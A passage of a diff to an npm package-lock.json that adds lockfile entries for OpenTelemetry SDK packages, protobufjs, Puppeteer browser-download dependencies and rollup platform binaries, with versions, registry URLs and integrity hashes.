"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/protobufjs": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.0.0.tgz", + "integrity": "sha512-jx6+sE9h/UryaCZhsJWbJtTEy47yXoGNYI4z8ZaRncM0zBKeRqjO2JEcOUYwrYGb1WLhXM1FfMzW3annvFv0rw==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/node": ">=13.7.0", + "long": "^5.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@opentelemetry/propagator-b3": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.5.0.tgz", + "integrity": "sha512-g10m4KD73RjHrSvUge+sUxUl8m4VlgnGc6OKvo68a4uMfaLjdFU+AULfvMQE/APq38k92oGUxEzBsAZ8RN/YHg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/propagator-jaeger": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.5.0.tgz", + "integrity": "sha512-t70ErZCncAR/zz5AcGkL0TF25mJiK1FfDPEQCgreyAHZ+mRJ/bNUiCnImIBDlP3mSDXy6N09DbUEKq0ktW98Hg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/resources": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.7.0.tgz", + "integrity": "sha512-K+oi0hNMv94EpZbnW3eyu2X6SGVpD3O5DhG2NIp65Hc7lhAj9brRXTAVzh3wB82+q3ThakEf7Zd7RsFUqcTc7A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.7.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.211.0.tgz", + "integrity": "sha512-O5nPwzgg2JHzo59kpQTPUOTzFi0Nv5LxryG27QoXBciX3zWM3z83g+SNOHhiQVYRWFSxoWn1JM2TGD5iNjOwdA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.4.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.7.0.tgz", + "integrity": "sha512-Vd7h95av/LYRsAVN7wbprvvJnHkq7swMXAo7Uad0Uxf9jl6NSReLa0JNivrcc5BVIx/vl2t+cgdVQQbnVhsR9w==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.7.0", + "@opentelemetry/resources": "2.7.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.211.0.tgz", + "integrity": "sha512-+s1eGjoqmPCMptNxcJJD4IxbWJKNLOQFNKhpwkzi2gLkEbCj6LzSHJNhPcLeBrBlBLtlSpibM+FuS7fjZ8SSFQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/configuration": "0.211.0", + "@opentelemetry/context-async-hooks": "2.5.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/exporter-logs-otlp-grpc": "0.211.0", + "@opentelemetry/exporter-logs-otlp-http": "0.211.0", + "@opentelemetry/exporter-logs-otlp-proto": "0.211.0", + "@opentelemetry/exporter-metrics-otlp-grpc": "0.211.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", + "@opentelemetry/exporter-metrics-otlp-proto": "0.211.0", + "@opentelemetry/exporter-prometheus": "0.211.0", + "@opentelemetry/exporter-trace-otlp-grpc": "0.211.0", + "@opentelemetry/exporter-trace-otlp-http": "0.211.0", + "@opentelemetry/exporter-trace-otlp-proto": "0.211.0", + "@opentelemetry/exporter-zipkin": "2.5.0", + "@opentelemetry/instrumentation": "0.211.0", + "@opentelemetry/propagator-b3": "2.5.0", + "@opentelemetry/propagator-jaeger": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-logs": "0.211.0", + "@opentelemetry/sdk-metrics": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0", + "@opentelemetry/sdk-trace-node": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.5.0.tgz", + "integrity": "sha512-O6N/ejzburFm2C84aKNrwJVPpt6HSTSq8T0ZUMq3xT2XmqT4cwxUItcL5UWGThYuq8RTcbH8u1sfj6dmRci0Ow==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.5.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.7.0.tgz", + "integrity": "sha512-Yg9zEXJB50DLVLpsKPk7NmNqlPlS+OvqhJGh0A8oawIOTPOwlm4eXs9BMJV7L79lvEwI+dWtAj+YjTyddV336A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.7.0", + "@opentelemetry/resources": "2.7.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.7.0.tgz", + "integrity": "sha512-RrFHOXw0IYp/OThew6QORdybnnLitUAUMCJKcQNBYS0hDkCYarO2vTkVxfrGxCIqd5XHSMvbCpBd/T8ZMw8oSg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.7.0", + "@opentelemetry/core": "2.7.0", + "@opentelemetry/sdk-trace-base": "2.7.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/context-async-hooks": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.7.0.tgz", + "integrity": "sha512-MWXggArM+Y11mPS8VOrqxOj+YMGQSRuvhM91eSBX4xFpJa05mpkeVvM8pPux5ElkEjV5RMgrkisrlP/R83SpBQ==", + "license": "Apache-2.0", + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/semantic-conventions": { + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.40.0.tgz", + "integrity": "sha512-cifvXDhcqMwwTlTK04GBNeIe7yyo28Mfby85QXFe1Yk8nmi36Ab/5UQwptOx84SsoGNRg+EVSjwzfSZMy6pmlw==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.4.tgz", + "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz", + "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1", + "@protobufjs/inquire": "^1.1.0" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/inquire": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.0.tgz", + "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.0.tgz", + "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==", + "license": "BSD-3-Clause" + }, + "node_modules/@puppeteer/browsers": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/@puppeteer/browsers/-/browsers-2.13.0.tgz", + "integrity": "sha512-46BZJYJjc/WwmKjsvDFykHtXrtomsCIrwYQPOP7VfMJoZY2bsDF9oROBABR3paDjDcmkUye1Pb1BqdcdiipaWA==", + "license": "Apache-2.0", + "dependencies": { + "debug": "^4.4.3", + "extract-zip": "^2.0.1", + "progress": "^2.0.3", + "proxy-agent": "^6.5.0", + "semver": "^7.7.4", + "tar-fs": "^3.1.1", + "yargs": "^17.7.2" + }, + "bin": { + "browsers": "lib/cjs/main-cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@puppeteer/browsers/node_modules/data-uri-to-buffer": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-6.0.2.tgz", + "integrity": "sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/degenerator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-5.0.1.tgz", + "integrity": "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==", + "license": "MIT", + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/get-uri": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-6.0.5.tgz", + "integrity": "sha512-b1O07XYq8eRuVzBNgJLstU6FYc1tS6wnMtF1I1D9lE8LxZSOGZ7LhxN54yPP6mGw5f2CkXY2BQUL9Fx41qvcIg==", + "license": "MIT", + "dependencies": { + "basic-ftp": "^5.0.2", + "data-uri-to-buffer": "^6.0.2", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/@puppeteer/browsers/node_modules/pac-proxy-agent": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.2.0.tgz", + "integrity": "sha512-TEB8ESquiLMc0lV8vcd5Ql/JAKAoyzHFXaStwjkzpOpC5Yv+pIzLfHvjTSdf3vpa2bMiUQrg9i6276yn8666aA==", + "license": "MIT", + "dependencies": { + "@tootallnate/quickjs-emscripten": "^0.23.0", + "agent-base": "^7.1.2", + "debug": "^4.3.4", + "get-uri": "^6.0.1", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.6", + "pac-resolver": "^7.0.1", + "socks-proxy-agent": "^8.0.5" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/pac-resolver": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-7.0.1.tgz", + "integrity": "sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg==", + "license": "MIT", + "dependencies": { + "degenerator": "^5.0.0", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/proxy-agent": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-6.5.0.tgz", + "integrity": "sha512-TmatMXdr2KlRiA2CyDu8GqR8EjahTG3aY3nXjdzFyoZbmB8hrBsTyMezhULIXKnC0jpfjlmiZ3+EaCzoInSu/A==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "^4.3.4", + "http-proxy-agent": "^7.0.1", + "https-proxy-agent": "^7.0.6", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "^7.1.0", + "proxy-from-env": "^1.1.0", + "socks-proxy-agent": "^8.0.5" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/@puppeteer/browsers/node_modules/socks-proxy-agent": { + "version": "8.0.5", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.5.tgz", + "integrity": "sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "^4.3.4", + "socks": "^2.8.3" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/@puppeteer/browsers/node_modules/tar-fs": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.1.2.tgz", + "integrity": "sha512-QGxxTxxyleAdyM3kpFs14ymbYmNFrfY+pHj7Z8FgtbZ7w2//VAgLMac7sT6nRpIHjppXO2AwwEOg0bPFVRcmXw==", + "license": "MIT", + "dependencies": { + "pump": "^3.0.0", + "tar-stream": "^3.1.5" + }, + "optionalDependencies": { + "bare-fs": "^4.0.1", + "bare-path": "^3.0.0" + } + }, + "node_modules/@puppeteer/browsers/node_modules/tar-stream": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.8.tgz", + "integrity": "sha512-U6QpVRyCGHva435KoNWy9PRoi2IFYCgtEhq9nmrPPpbRacPs9IH4aJ3gbrFC8dPcXvdSZ4XXfXT5Fshbp2MtlQ==", + "license": "MIT", + "dependencies": { + "b4a": "^1.6.4", + "bare-fs": "^4.5.5", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": 